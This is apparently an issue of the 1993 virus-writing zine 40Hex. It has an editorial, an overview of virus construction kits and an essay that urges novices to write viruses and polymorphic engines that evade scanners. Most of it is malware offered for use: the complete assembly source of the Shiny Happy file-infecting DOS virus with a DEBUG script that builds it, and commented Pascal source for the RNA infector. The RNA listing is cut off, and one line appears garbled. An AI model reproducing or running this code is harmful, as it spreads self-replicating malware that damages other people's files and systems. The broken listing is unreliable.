40Hex Number 10 Volume 3 Issue 1

40Hex Issue 10 Volume 3 Number 1                                      File 000

    Welcome back to yet another issue of 40Hex, Phalcon/Skism's magazine chock
    full of virus writing techniques, news, source code, and related info.

    First off, Phalcon/Skism welcomes its newest member, FirstStrike.  We have
    watched him grow from humble beginnings and are confident that he will
    continue to produce quality viruses in the future.

    We will, beginning with this issue, be phasing out the debug scripts in
    40Hex.  Although many people find them useful, we feel that source code is
    more interesting and worthwhile.  The disassemblies are almost always done
    by Dark Angel, who advises those with difficulty understanding some parts
    of the disassemblies to first skim the entire disassembly to learn how the
    virus works.  Some portions, he continues, are not commented because their
    functions are self-evident and the label names reflect their respective
    purposes.

    In the spirit of friendly competition, we have, in this issue, the Ontario
    3 virus written by Death Angel of YAM.  While on the topic of YAM, we find
    it immensely amusing that they continue to adamantly state on FidoNet and
    elsewhere that the IVP was not a mere hack of PS-MPC.  Ok, it was a rewrite
    in Pascal, but the only significant changes were in the labels; even the
    comments were remarkably familiar. Please cease this farce; you are fooling
    nobody.


                     40Hex-10 Table of Contents
                           March 13, 1993

                File                            Description
                0000............................You are here
                0001............................Virus creation aids
                0002............................Phalcon/Skism Shiny Happy virus
                0003............................RNA virus source code
                0004............................ARCV Busted
                0005............................Green Caterpillar Debug Script
                0006............................Virus Spotlite: Bad Boy 2
                0007............................A Case Against Encryption
                0008............................Ontario 3 source code
                0009............................40Hex Survey

    Greets to: NuKE, The Attitude Adjuster, and all virus enthusiasts around
               the world.

    Goodbye & best wishes to : Apache Warrior, ICE-9, and the rest of the ARCV.

                                        -)Gheap
40Hex Issue 10 Volume 3 Number 1                                      File 001

The following is a cursory examination of virus construction toolkits.
While hardly comprehensive, it includes the basic elements of each
toolkit described.  For further information, consult appendix A of
the Phalcon/Skism G² code generator.
---------------------------------------------------------------------------
 VIRUS CONSTRUCTION KITS, Revision 2.0  13 February 1993

Virus construction kits are  computer  programs  which  allow people
with little or no programming experience to  produce new variants of
computer viruses.

Two popular methods are used in  virus construction kits.  The first
uses a menu driven user interface where the user is  lead through  a
series of menus where he 'designs' the replication method, infection
criteria  and  payload (what the virus does  when it activates). The
second method uses  a skeleton  configuration  file  (ASCII  file in
which virus configurations are placed) and  running a 'generator' to
produce the virus.

There is an  important  factor  to  consider. First generation virus
construction kits only produce assembled or compiled viruses without
source  code. Second  generation  kits  produce  virus  source  code
(sometimes even  commented) that can be changed and assembled by the
user. The danger in second generation kits is that someone with very
limited  programming  experience  can   potentially  produce  a  new
computer virus without knowing anything about  the internal workings
of a virus.

I would like to  stress that because virus construction kits to date
use  a fair amount  of constant code (instructions),  they  pose  no
threat  to  standard  virus  detection  techniques.  However, should
future kits make use of  mutation  engine principles, this situation
could change.



The following are descriptions of  virus construction kits  to date.
This is a factual description as the author has access to all of the
kits listed below :


GENVIR

GENVIR was the first attempt to release a  virus construction kit for
profit.  It is a  first  generation  virus construction  kit  which a
menu-driven interface. GENVIR is a French program  written in 1990 by
J.Struss  of Lochwiller, France. It is a  'Crippleware' program  that
lets you go through  all the  motions of creating  a virus, but stops
short of the compilation stage. To  receive a  working copy, one must
license the software  for a fee of 120 Frances. The latest version is
1.0 and it is believed that GENVIR was never released as a functional
virus construction kit.


VCS (Virus Construction Set)

VCS is a first generation virus kit written in 1991 by a German group
called  VDV  (Verband  Deutscher Virenliebhaber). VCS is a  primitive
program that requires a text file  of  maximum  512  bytes length and
incorporates this text into  a simple .COM file virus infector. After
a specified number  of replications, the  virus will display the text
message and delete AUTOEXEC.BAT and CONFIG.SYS. The latest release is
version 1.0. The program text is in German,although there is a hacked
version in English.


VCL (Virus Construction Laboratory)

VCL is a complex, second generation, menu  driven  virus construction
kit  written in  1992  by  Nowhere  Man  and  [NuKE] WaReZ. It allows
multiple, user selectable modules to be incorporated into the  virus,
together with the option of creating commented ASM (assembler) source
code files that can be manually modified. The danger with this option
is that a virus writer can create the  virus  kernel (without knowing
much about  the  internal workings of viruses) using VCL and then add
his own,custom code into the virus.The latest release is version 1.0.


PS-MPC (Phalcon / Skism - Mass Produced Code Generator)

PS-MPC is a second generation virus construction kit, written by Dark
Angel in July 1992. It is based heavily on the VCL virus construction
kit. It  was  distributed  including  source  code in the C language.
Although it is not  menu driven, (it uses a user  definable  skeleton
configuration file to produce viruses) it creates more compact,neater
commented ASM source code than VCL does. Two versions exist,the first
being version 0.90beta  released  together with 40Hex (an underground
electronic magazine) on 7 July 1992, and version 0.91beta released on
17 August 1992.  According to the  history  file in this release, the
following as been added to the second release : a) rudimentary memory
resident viruses may  be  created, b) improved optimization  of code,
c) fixed minor quirks and d) got rid of "unsigned  char" requirement.


IVP (Instant Virus Production Kit)

IVP is a second generation virus construction kit, written in 1992 by
Admiral Bailey a  member  of  the  YAM  (Youngsters  Against  McAfee)
underground group. According to the documentation, it was  written in
Turbo Pascal version 7.0. IVP  uses a skeleton configuration approach
and produces commented  source code. It  was the following features :
a) .EXE  and .COM file infection,  b) Trojan  support,  c)  Directory
changing, d) encryption, e) error handling, f) COMMAND.COM infection,
g) overwriting option and h) random nop generator. The latest release
is version 1.0.


G2 (G Squared)

G2 is a  second generation virus construction kit, written in 1993 by
Dark Angel of the Phalcon/Skism underground group.(Dark Angel is also
the author of the PS-MPC virus construction  kit). This kit makes use
of the skeleton configuration approach  and produces commented source
code.   According  to   Dark  Angel's  documentation,  G2  is  not  a
modification of the Phalcon/Skism PS-MPC kit, but a complete rewrite.
It  differs from other  virus construction kits in  that it  produces
easily upgradable and semi-polymorphic routines.  The  latest release
is version 0.70beta, dated January 1, 1993.



Oliver Steudler, DYNAMIC SOLUTIONS
Authorized McAfee Associates Anti Virus Agent
Mail       : P.O.Box 4397, Cape Town, 8000, South Africa
Internet   : Oliver.Steudler@f110.n7102.z5.fidonet.ORG
             or 100075.0200@compuserve.COM
Fidonet    : 5:7102/110
CompuServe : 100075,0200
Phone      : +27 (21) 24-9504 (GMT +2)
Fax        : +27 (21) 26-1911
BBS:       : +27 (21) 24-2208 [1200-14,400 bps]
---------------------------------------------------------------------------
Virus construction tools are cropping up at the rate of one roughly every
two months.  Additionally, new polymorphic "engines" such as the MtE, TPE,
etc. are begining to emerge.  But how real is the threat from viruses
generated with such tools and has this threat been exaggerated by the
media?

The discussion will center on the so-called "second generation" toolkits.
Perhaps the most prolific of these is Nowhere Man's VCL.  It has the most
attractive interface of all the recent virus development tools and allows for
a variety of activation routines; something which has been conspicuously
absent from the Phalcon/Skism code generators.  However, VCL is also perhaps
the least dangerous of all the toolkits, hampered by the dependance upon only
one encryption/decryption routine and single, constant code base.  YAM's IVP
ameliorates the problem, albeit in a highly limited and somewhat useless
fashion, with the random NOP placement.  Of course, its code is based heavily
upon the PS-MPC, which is also nonrandom, so it, too, is hampered.  The
PS-MPC, as mentioned earlier, has but a single code base.  In short, these
three toolkits are of limited utility in terms of creating nonscannable
viruses "out of the box."  The generated code typically needs to be modified
for the viruses to be unscannable.

So perhaps the solution lies in relying not upon a single code base, but
multiple code bases and allowing for random (not the same as haphazard)
placement of individual lines of code.  This is the approach of G².  G²
allows for multiple code packages which accomplish a certain goal.  The
program selects one of the packages for inclusion in a given virus.  In
this manner, variability may be ensured.  G² further allows for the order
of statements to be scrambled in the source file.  However, all G² viruses
share the same structure as well as having certain bits of code in common.
So, while an improvement, it is hardly the final step in the evolution of
virus creation toolkits.  G² could become much more powerful with multiple
virus structures as well as improved code packages.

The article above suggested that the toolkits would be much more powerful
should they incorporate "mutation engine principles."  In other words, the
toolkits should be able to mutate the generated code.  The IVP currently
uses such an approach, albeit only with simple NOPs liberally scattered in the
decryption and delta offset calculation routines.  Such code, however, should
not be a goal of the authors of such toolkits.  It is simply not appropriate
for a virus creator to function in such a manner.  A virus toolkit which
simply spews out the same code in various forms is merely an overblown hack
generator.  Toolkits exist as _aids_ in writing a virus, not as replacements.
Surely including such mutation routines would result in larger viruses as well
as illegible code.  A novice utilising the toolkit would not be able to learn
from such unoptimised code.  Tight code which doesn't sacrifice legibility
should always be the goal of virus generators.

Another aid in writing viruses is the "encryptor-in-a-box," a product such
as MtE or TPE.  Such modules allow all viruses to incorporate polymorphic
routines.  Yet how dangerous are such polymorphers?  As they currently exist,
they pose very little threat.  Scanners have adapted not only to catch current
MtE-using viruses reliably, but also to find new viruses which use decryptors
created with MtE.  Certainly the TPE and any new polymorphic routines will meet
the same fate.  Constant revisions of these engines, while being temporary
solutions, remain just that: temporary.  Once the anti-virus industry receives
a copy of the new version, the engine is once again useless.

The virus community should look beyond such "easy fixes" as virus creation
toolkits and polymorphic "engines."  The simplest way to get a nonscannable
virus is to write it yourself.  Not only is there the benefit of satisfaction
with the work, but you gain expertise and intimate understanding of both
viruses and the operating system.  Such knowledge comes only with writing
several viruses on your own.  The best way for a beginner to learn how to
write viruses is to figure it out on his own _without_ any examples.  Once a
virus has been written in this manner, then it is appropriate to look at
current virus samples to find out the various tried and true techniques.

But polymorphic engines are difficult to write, the novice virus writer
protests; using MtE will vastly improve the virus.  Rubbish.  Firstly, it is
a fact that scanners will be able to detect the virus, be it encrypted with a
simple XOR loop or with MtE.  Writing your own encryption will be far better
in terms of learning.  Secondly, polymorphic engines are _not_ terribly
difficult to create.  A few hours of thinking will be sufficient to lay down
the framework of a polymorphic engine.  An additional few days is enough for
coding.  Even the MtE and TPE, while requiring bit-level knowledge of the
opcodes, could have been written by a person with only a few years of
experience programming assembly.  The advantages of writing your own
polymorphic engine are obvious; anti-virus developers will have to spend much
time (and space in their products) analysing and developing scanners for each
individual engine; and simply adding a few extra garbling instructions should
be sufficient to throw these scanners off in a future virus.

So what purpose do these tools serve?  The ultimate aim of those producing the
virus creation tools should be not to enable people to go around creating new,
unscannable viruses and trashing every hard drive in the world, but to allow
novices to break into the field of virus writing.  It is not difficult to
write a virus, but these tools certainly ease the initial pain.  Polymorphic
engines are useful as examples for your own polymorphic routines.

I encourage all novice programmers to pick up a copy of Phalcon/Skism's G² and
VCL, the two most prolific code generation toolkits.  Run them a few times with
various parameters and analyse the code carefully.  Print out the code and look
it over.  The basic principles of virus creation will be apparent after some
inspection.  Learn from it and then sit down and write your own virus from
scratch.

                                        Dark Angel
                                        Phalcon/Skism 1993
40Hex Issue 10 Volume 3 Number 1                                      File 002

                        The Phalcon/Skism Shiny Happy Virus

        This virus was written jointly by Dark Angel and Hellraiser about six
months ago.  It is a simple semi-stealth virus that doesn't actually replace
interrupt 21h's vector in the interrupt table.  Instead, it finds the DOS
interrupt 21h entry point and encodes an int 3 as the first byte. Consequently,
it is highly debugger-resistant.  It also hides the file size increase, albeit
only in DOS directory listings.  This way, it avoids the CHKDSK cross-linking
errors common to viruses hooking FCB find first/next.  The virus infects upon
file executions.  A debug script follows the source code.  As always, type
"DEBUG < DEBUG.SCR > NUL" to create the virus from the debug script.

        The virus always activates, hooking the keyboard interrupt.  When it
detects a happy face (emoticon), the virus changes it to a frown.  The Shiny
Happy residency test follows:

Run the cursor across the following line:
        :-)     =)      \|-)    ;)      :*)
If any of the faces changed to frowns, then Shiny Happy is loose on your
system.

                                        -)Gheap

-------------------------------------------------------------------------------
; The Shiny Happy Virus
; By Hellraiser and Dark Angel of Phalcon/Skism

        .model  tiny
        .code

id      =       '52'
timeid  =       18h

shiny:
        call    next
next:   pop     bp

        push    ds
        push    es

        xor     di,di
        mov     ds,di
        cmp     word ptr ds:[1*4],offset int1_2 ; installation check
        jz      return

        mov     ax,es
        dec     ax
        sub     word ptr ds:[413h],(endheap-shiny+1023)/1024
        mov     ds,ax
        sub     word ptr ds:[3],((endheap-shiny+1023)/1024)*64
        sub     word ptr ds:[12h],((endheap-shiny+1023)/1024)*64
        mov     es,word ptr ds:[12h]

        push    cs
        pop     ds

        lea     si,[bp+shiny-next]
        mov     cx,(endheap-shiny+1)/2
        rep     movsw

        push    cs
        lea     ax,[bp+return-next]
        push    ax

        push    es
        mov     ax,offset highentry
        push    ax
        retf

return:
        cmp     sp,id-4
        jz      returnEXE
returnCOM:
        pop     es
        pop     ds
        mov     di,100h
        push    di
        lea     si,[bp+offset save3-next]
        movsw
        movsb
        retn

returnEXE:
        pop     es
        pop     ds
        mov     ax,es
        add     ax,10h
        add     word ptr cs:[bp+origCSIP+2-next],ax
        cli
        add     ax,word ptr cs:[bp+origSPSS-next]
        mov     ss,ax
        mov     sp,word ptr cs:[bp+origSPSS+2-next]
        sti
        db      0eah
origCSIP db     ?
save3    db    0cdh,20h,0
origSPSS dd     ?

highentry:
        mov     cs:in21flag,0

        xor     ax,ax
        mov     ds,ax

        les     ax,ds:[9*4]
        mov     word ptr cs:oldint9,ax
        mov     word ptr cs:oldint9+2,es

        mov     ds:[9*4],offset int9
        mov     ds:[9*4+2],cs

        les     ax,ds:[21h*4]
        mov     word ptr cs:oldint21,ax
        mov     word ptr cs:oldint21+2,es

        mov     word ptr ds:[1*4],offset int1
        mov     ds:[1*4+2],cs

        mov     ah, 52h
        int     21h
        mov     ax,es:[bx-2]
        mov     word ptr cs:tunnel21+2, ax
        mov     word ptr cs:dosseg_, es

        pushf
        pop     ax
        or      ah,1
        push    ax
        popf

        mov     ah,0bh
        pushf
        db      09Ah
oldint21 dd     ?

        mov     word ptr ds:[3*4],offset int3
        mov     ds:[3*4+2],cs
        mov     word ptr ds:[1*4],offset int1_2

        les     bx,cs:tunnel21
        mov     al,0CCh
        xchg    al,byte ptr es:[bx]
        mov     byte ptr cs:save1,al
        retf

authors db 'Shiny Happy Virus by Hellraiser and Dark Angel of Phalcon/Skism',0

int1:   push    bp
        mov     bp,sp
        push    ax

        mov     ax, [bp+4]
        cmp     ax,word ptr cs:tunnel21+2
        jb      foundint21
        db      3dh     ; cmp ax, xxxx
dosseg_ dw      ?
        ja      exitint1
foundint21:
        mov     word ptr cs:tunnel21+2,ax
        mov     ax,[bp+2]
        mov     word ptr cs:tunnel21,ax
        and     byte ptr [bp+7], 0FEh
exitint1:
        pop     ax
        pop     bp
        iret

int1_2: push    bp
        mov     bp,sp
        push    ax

        mov     ax, [bp+4]
        cmp     ax,word ptr cs:tunnel21+2
        ja      exitint1_2
        mov     ax, [bp+2]
        cmp     ax,word ptr cs:tunnel21
        jbe     exitint1_2

        push    ds
        push    bx
        lds     bx,cs:tunnel21
        mov     byte ptr ds:[bx],0CCh
        pop     bx
        pop     ds

        and     byte ptr [bp+7],0FEh
exitint1_2:
        pop     ax
        pop     bp
        iret

infect_others:
        mov     ax,4301h
        push    ax
        push    ds
        push    dx
        xor     cx,cx
        call    callint21

        mov     ax,3d02h
        call    callint21
        xchg    ax,bx

        mov     ax,5700h
        call    callint21
        push    cx
        push    dx

        mov     ah,3fh
        mov     cx,1ah
        push    cs
        pop     ds
        push    cs
        pop     es
        mov     dx,offset readbuffer
        call    callint21

        mov     ax,4202h
        xor     cx,cx
        cwd
        int     21h

        mov     si,offset readbuffer
        cmp     word ptr [si],'ZM'
        jnz     checkCOM
checkEXE:
        cmp     word ptr [si+10h],id
        jz      goalreadyinfected

        mov     di, offset OrigCSIP
        mov     si, offset readbuffer+14h
        movsw
        movsw

        sub     si, 18h-0eh
        movsw
        movsw

        push    bx
        mov     bx, word ptr readbuffer + 8
        mov     cl, 4
        shl     bx, cl

        push    dx
        push    ax

        sub     ax, bx
        sbb     dx, 0

        mov     cx, 10h
        div     cx

        mov     word ptr readbuffer+14h, dx
        mov     word ptr readbuffer+16h, ax

        mov     word ptr readbuffer+0Eh, ax
        mov     word ptr readbuffer+10h, id

        pop     ax
        pop     dx
        pop     bx

        add     ax, heap-shiny
        adc     dx, 0

        mov     cl, 9
        push    ax
        shr     ax, cl
        ror     dx, cl
        stc
        adc     dx, ax
        pop     ax
        and     ah, 1

        mov     word ptr readbuffer+4, dx
        mov     word ptr readbuffer+2, ax

        mov     cx,1ah
        jmp     short finishinfection
checkCOM:
        xchg    cx,ax
        sub     cx,heap-shiny+3
        cmp     cx,word ptr [si+1]
goalreadyinfected:
        jz      alreadyinfected
        add     cx,heap-shiny

        push    si
        mov     di,offset save3
        movsw
        movsb
        pop     di
        mov     al,0e9h
        stosb
        mov     ax,3    ; cx holds bytes to write
        xchg    ax,cx
        stosw
finishinfection:
        push    cx

        mov     ah,40h
        mov     cx,heap-shiny
        cwd ; xor dx,dx
        call    callint21

        mov     ax,4200h
        xor     cx,cx
        cwd
        int     21h

        mov     ah,40h
        pop     cx
        mov     dx,offset readbuffer
        call    callint21

        mov     ax,5701h
        pop     dx
        pop     cx
        and     cl,0E0h
        or      cl,timeid
        call    callint21
        jmp     doneinfect

alreadyinfected:
        pop     ax
        pop     ax
doneinfect:
        mov     ah,3eh
        call    callint21

        pop     dx
        pop     ds
        pop     ax
        pop     cx
        call    callint21
exitexecute:
        pop     es
        pop     ds
        pop     di
        pop     si
        pop     dx
        pop     cx
        pop     bx
        pop     ax
        popf

        jmp     exitint21

execute:
        pushf
        push    ax
        push    bx
        push    cx
        push    dx
        push    si
        push    di
        push    ds
        push    es

        cld

        mov     ax,4300h
        call    callint21
        jc      exitexecute
        push    cx

        jmp     infect_others

int3:
        push    bp
        mov     bp,sp

        cmp     cs:in21flag,0
        jnz     leaveint21

        inc     cs:in21flag

        cmp     ah,11h
        jz      findfirstnext
        cmp     ah,12h
        jz      findfirstnext
        cmp     ax,4b00h
        jz      execute

exitint21:
        dec     cs:in21flag
leaveint21:
        or      byte ptr [bp+7],1       ; set trap flag upon return
        dec     word ptr [bp+2]         ; decrement offset
        call    restoreint21
        pop     bp
        iret

callint21:
        pushf
        call    dword ptr cs:tunnel21
        ret

restoreint21:
        push    ds
        push    ax
        push    bx

        lds     bx,cs:tunnel21
        mov     al,byte ptr cs:save1
        mov     ds:[bx],al

        pop     bx
        pop     ax
        pop     ds

        ret

findfirstnext:
        int     21h     ; pre-chain interrupt

; flags   [bp+12]
; segment [bp+10]
; offset  [bp+8]
; flags   [bp+6]
; segment [bp+4]
; offset  [bp+2]
; bp      [bp]
        pushf           ; save results
        pop     [bp+6+6]
        pop     bp

        push    ax
        push    bx
        push    ds
        push    es

        inc     al
        jz      notDOS

        mov     ah,51h          ; Get active PSP
        int     21h
        mov     es,bx
        cmp     bx,es:[16h]     ; DOS calling it?
        jne     notDOS

        mov     ah,2fh  ; DTA -> ES:BX
        int     21h
        push    es
        pop     ds

        cmp     byte ptr [bx],0FFh
        jnz     regularFCB
        add     bx,7
regularFCB:
        cmp     word ptr [bx+9],'OC'
        jz      checkinf
        cmp     word ptr [bx+9],'XE'
        jnz     notDOS
checkinf:
        mov     al,byte ptr [bx+23]
        and     al,1Fh

        cmp     al,timeid
        jnz     notDOS
subtract:
        sub     word ptr [bx+29],heap-shiny
        sbb     word ptr [bx+31],0
notDOS:
        pop     es
        pop     ds
        pop     bx
        pop     ax

        dec     cs:in21flag

        cli
        add     sp,6
        iret

int9:
        pushf                           ; save flags, regs, etc...
        push    ax
        push    bx
        push    cx
        push    dx

        xor     bx,bx
        mov     ah,0fh                  ; get video mode
        int     10h

        mov     ah,03h                  ; get curs pos
        int     10h

        call    getattrib
        cmp     al,')'                  ; happy??
        jne     audi5000                ; no

        mov     cs:eyesflag,0
beforeloveshack:
        call    getattrib               ; see if there is a nose
loveshack:
        cmp     al,':'                  ; shiny???
        je      realeyes

        cmp     al,'='                  ; check for even =)
        je      realeyes

        cmp     al,'|'
        je      realeyes

        cmp     al,';'
        je      realeyes

        cmp     cs:eyesflag,0
        jnz     audi5001
        cmp     al,'('
        jz      audi5001
        inc     cs:eyesflag
        inc     bl
        jmp     short beforeloveshack

realeyes:
        stc
        adc     dl,bl                   ; add extra backspace if so

        mov     ah,02h
        int     10h

        mov     ax,0a28h   ; 0ah, '('   ; write frown
        mov     cx,1
        int     10h

        jmp     audi5000
audi5001:
        stc
        adc     dl,bl
audi5000:
        inc     dl                      ; set curs pos
        mov     ah,02h
        int     10h

        pop     dx                      ; restore all stuff
        pop     cx
        pop     bx
        pop     ax
        popf

        db      0eah
oldint9 dd      ?

; reads the char at the current cursorpos - 1

getattrib:
        dec     dl                      ; set curs pos
        mov     ah,02h
        int     10h

        mov     ah,08h                  ; get char at curs
        int     10h

        ret

heap:
save1    db     ?
tunnel21 dd     ?
in21flag db     ?
eyesflag db     ?
readbuffer db   1ah dup (?)
endheap:
end  shiny
-------------------------------------------------------------------------------
n shiny.com
e 0100  E8 00 00 5D 1E 06 33 FF 8E DF 81 3E 04 00 4D 01 
e 0110  74 2D 8C C0 48 83 2E 13 04 01 8E D8 83 2E 03 00 
e 0120  40 83 2E 12 00 40 8E 06 12 00 0E 1F 8D 76 FD B9 
e 0130  DD 01 F3 A5 0E 8D 46 3C 50 06 B8 71 00 50 CB 81 
e 0140  FC 2E 35 74 0C 07 1F BF 00 01 57 8D 76 67 A5 A4 
e 0150  C3 07 1F 8C C0 05 10 00 2E 01 46 68 FA 2E 03 46 
e 0160  6A 8E D0 2E 8B 66 6C FB EA 00 CD 20 00 00 00 00 
e 0170  00 2E C6 06 9E 03 00 33 C0 8E D8 C4 06 24 00 2E 
e 0180  A3 8A 03 2E 8C 06 8C 03 C7 06 24 00 26 03 8C 0E 
e 0190  26 00 C4 06 84 00 2E A3 C5 00 2E 8C 06 C7 00 C7 
e 01A0  06 04 00 28 01 8C 0E 06 00 B4 52 CD 21 26 8B 47 
e 01B0  FE 2E A3 9C 03 2E 8C 06 37 01 9C 58 80 CC 01 50 
e 01C0  9D B4 0B 9C 9A 00 00 00 00 C7 06 0C 00 85 02 8C 
e 01D0  0E 0E 00 C7 06 04 00 4D 01 2E C4 1E 9A 03 B0 CC 
e 01E0  26 86 07 2E A2 99 03 CB 53 68 69 6E 79 20 48 61 
e 01F0  70 70 79 20 56 69 72 75 73 20 62 79 20 48 65 6C 
e 0200  6C 72 61 69 73 65 72 20 61 6E 64 20 44 61 72 6B 
e 0210  20 41 6E 67 65 6C 20 6F 66 20 50 68 61 6C 63 6F 
e 0220  6E 2F 53 6B 69 73 6D 00 55 8B EC 50 8B 46 04 2E 
e 0230  3B 06 9C 03 72 05 3D 00 00 77 0F 2E A3 9C 03 8B 
e 0240  46 02 2E A3 9A 03 80 66 07 FE 58 5D CF 55 8B EC 
e 0250  50 8B 46 04 2E 3B 06 9C 03 77 1A 8B 46 02 2E 3B 
e 0260  06 9A 03 76 10 1E 53 2E C5 1E 9A 03 C6 07 CC 5B 
e 0270  1F 80 66 07 FE 58 5D CF B8 01 43 50 1E 52 33 C9 
e 0280  E8 32 01 B8 02 3D E8 2C 01 93 B8 00 57 E8 25 01 
e 0290  51 52 B4 3F B9 1A 00 0E 1F 0E 07 BA A0 03 E8 14 
e 02A0  01 B8 02 42 33 C9 99 CD 21 BE A0 03 81 3C 4D 5A 
e 02B0  75 5C 81 7C 10 32 35 74 5D BF 69 00 BE B4 03 A5 
e 02C0  A5 83 EE 0A A5 A5 53 8B 1E A8 03 B1 04 D3 E3 52 
e 02D0  50 2B C3 83 DA 00 B9 10 00 F7 F1 89 16 B4 03 A3 
e 02E0  B6 03 A3 AE 03 C7 06 B0 03 32 35 58 5A 5B 05 99 
e 02F0  03 83 D2 00 B1 09 50 D3 E8 D3 CA F9 13 D0 58 80 
e 0300  E4 01 89 16 A4 03 A3 A2 03 B9 1A 00 EB 1D 91 81 
e 0310  E9 9C 03 3B 4C 01 74 3E 81 C1 99 03 56 BF 6A 00 
e 0320  A5 A4 5F B0 E9 AA B8 03 00 91 AB 51 B4 40 B9 99 
e 0330  03 99 E8 80 00 B8 00 42 33 C9 99 CD 21 B4 40 59 
e 0340  BA A0 03 E8 6F 00 B8 01 57 5A 59 80 E1 E0 80 C9 
e 0350  18 E8 61 00 EB 02 58 58 B4 3E E8 58 00 5A 1F 58 
e 0360  59 E8 51 00 07 1F 5F 5E 5A 59 5B 58 9D EB 35 9C 
e 0370  50 53 51 52 56 57 1E 06 FC B8 00 43 E8 36 00 72 
e 0380  E3 51 E9 F3 FE 55 8B EC 2E 80 3E 9E 03 00 75 19 
e 0390  2E FE 06 9E 03 80 FC 11 74 34 80 FC 12 74 2F 3D 
e 03A0  00 4B 74 CB 2E FE 0E 9E 03 80 4E 07 01 FF 4E 02 
e 03B0  E8 09 00 5D CF 9C 2E FF 1E 9A 03 C3 1E 50 53 2E 
e 03C0  C5 1E 9A 03 2E A0 99 03 88 07 5B 58 1F C3 CD 21 
e 03D0  9C 8F 46 0C 5D 50 53 1E 06 FE C0 74 3B B4 51 CD 
e 03E0  21 8E C3 26 3B 1E 16 00 75 2E B4 2F CD 21 06 1F 
e 03F0  80 3F FF 75 03 83 C3 07 81 7F 09 43 4F 74 07 81 
e 0400  7F 09 45 58 75 12 8A 47 17 24 1F 3C 18 75 09 81 
e 0410  6F 1D 99 03 83 5F 1F 00 07 1F 5B 58 2E FE 0E 9E 
e 0420  03 FA 83 C4 06 CF 9C 50 53 51 52 33 DB B4 0F CD 
e 0430  10 B4 03 CD 10 E8 56 00 3C 29 75 42 2E C6 06 9F 
e 0440  03 00 E8 49 00 3C 3A 74 21 3C 3D 74 1D 3C 7C 74 
e 0450  19 3C 3B 74 15 2E 80 3E 9F 03 00 75 1E 3C 28 74 
e 0460  1A 2E FE 06 9F 03 FE C3 EB D8 F9 12 D3 B4 02 CD 
e 0470  10 B8 28 0A B9 01 00 CD 10 EB 03 F9 12 D3 FE C2 
e 0480  B4 02 CD 10 5A 59 5B 58 9D EA 00 00 00 00 FE CA 
e 0490  B4 02 CD 10 B4 08 CD 10 C3 
rcx
0399
w
q
-------------------------------------------------------------------------------
40Hex Issue 10 Volume 3 Number 1                                      File 003

The following is the source code for the RNA virus, a Pascal virus which
preserves the functionality of the EXE files which it infects.  It is a
primitive virus, but is an example of a parasitic virus not written in
assembly.
-------------------------------------------------------------------------------
{$i-}{$m 2048,0,24576}
Program RNA;
{ Commenting by Dark Angel of Phalcon/Skism }
{ for 40Hex Issue 10 Volume 3 Number 1 }
uses dos;

const blksize=8192;                     { buffer size                        }
      vsize=7200;                       { length of virus                    }
      wc='*.';                          { part of file mask                  }
      counter=blksize-1;                { location of the counter            }
      cb=':\';                          { colon backslash                    }
      maxinf:byte=4;                    { max # infections                   }
      maxruns:byte=48;                  { # runs before disinfection         }
      drives:array[3..4] of char=('C','D'); { name of the drives             }
      imf:string[12]='ux142.rqz';       { temporary file name                }


type vtype=array[1..vsize] of byte;     { type of buffer for storing virus   }
     buftype=array[1..blksize] of byte; { type of buffer for file operations }

var ps:string;                          { path string                        }
    s:pathstr;                          { currently running program          }
    ds:dirstr;                          { current directory                  }
    ns:namestr;                         { filename of current program        }
    es:extstr;                          { extension of current program       }
    v:^vtype;                           { buffer for virus code              }
    buf:^buftype;                       { buffer for file copying            }
    count,indx,inf:byte;
    attr,nr,nw:word;
    sr:searchrec;                       { for find first/find next calls     }
    f,f2:file;                          { file handles                       }
    t:longint;                          { file time/date storage             }

procedure copyf;                        { copy file                          }
begin
 repeat                                 { copy the file in blocks            }
  blockread(f,buf^,blksize,nr);         { read from the source file          }
  blockwrite(f2,buf^,nr,nw);            { write to the target file           }
 until (eof(f));                        { stop if end of file reached        }
 close(f);                              { close the source file              }
 setftime(f2,t);                        { set file time/date of target       }
 close(f2);                             { then close target file             }
end;

Procedure stripf;                       { strip virus from the file          }

begin
 assign(f,s);                           { f = handle for current file        }
 reset(f,1);                            { prepare it for reading             }
 getftime(f,t);                         { save file creation time/date       }
 assign(f2,ds+imf);                     { create temporary file              }
 rewrite(f2,1);                         { prepare for writing                }
 seek(f,vsize);                         { go past virus                      }
 copyf;                                 { and copy uninfected file           }
end;

procedure load;                         { load the virus from carrier file   }

begin
 assign(f,s);                           { f = handle for current file        }
 getfattr(f,attr);                      { get its file attributes            }
 reset(f,1);                            { and prepare it for reading         }
 if ioresult=0 then                     { continue if no failure             }
  begin
   getftime(f,t);                       { get file creation time/date        }
   blockread(f,v^,vsize,nr);            { read the virus to buffer           }
   count:=v^[vsize]-1;                  { get the counter from the buffer    }
                                        { and decrement it                   }
   v^[vsize]:=maxruns;                  { reset counter in buffer            }
   seek(f,vsize-1);                     { go to generation counter in buffer }
   blockwrite(f,count,1,nr);            { write new counter to file          }
   setftime(f,t);                       { restore file time/date             }
   close(f);                            { close the file                     }
   setfattr(f,attr);                    { restore its file attributes        }
  end;
end;

function checkf(pth:dirstr):boolean;    { check if file already infected     }

var by:array[1..27] of byte;            { buffer for checking marker bytes   }

begin
 checkf:=false;                         { default to don't infect            }
 if pos(sr.name,'COMMAND.COM')=0 then   { don't infect COMMAND.COM           }
 begin
  assign(f,pth+sr.name);                { get filename                       }
  reset(f,1);                           { open for reading                   }
  if ioresult=0 then                    { continue if open ok                }
   begin
    blockread(f,by,27,nr);              { start checking the file            }
    for indx:=1 to 27 do                { to see if the virus is             }
     if (by[indx])<>(v^[indx]) then     { already there                      }
      checkf:=true;                     { if not, return infect ok           }
    close(f);                           { close the file                     }
   end;
 end;
end;

procedure attach(pth:dirstr);           { attach virus to start of file      }
begin
 inc(inf);                              { increment infection counter        }
 assign(f2,pth+'zSqA.th');              { create temporary file              }
 rewrite(f2,1);                         { open for writing                   }
 if ioresult=0 then                     { continue if no errors              }
  begin
   assign(f,pth+sr.name);               { open file to infect                }
   getfattr(f,attr);                    { save its attributes                }
   reset(f,1);                          { open for reading                   }
   getftime(f,t);                       { save its creation time/date        }
   blockwrite(f2,v^,vsize,nr);          { write the virus to the temp file   }
   copyf;                               { copy the file to infect to the     }
   erase(f);                            { temp file and erase original       }
   rename(f2,sr.name);                  { rename the temp file to the name   }
   setfattr(f2,attr);                   { of the original and restore file   }
  end;                                  { attributes                         }
end;

procedure rep(pth:dirstr;ext:extstr);   { replicate within a directory       }

begin
 findfirst(pth+wc+ext,hidden+archive+readonly,sr);
 while (inf'') do                              { while more directories     }
  begin
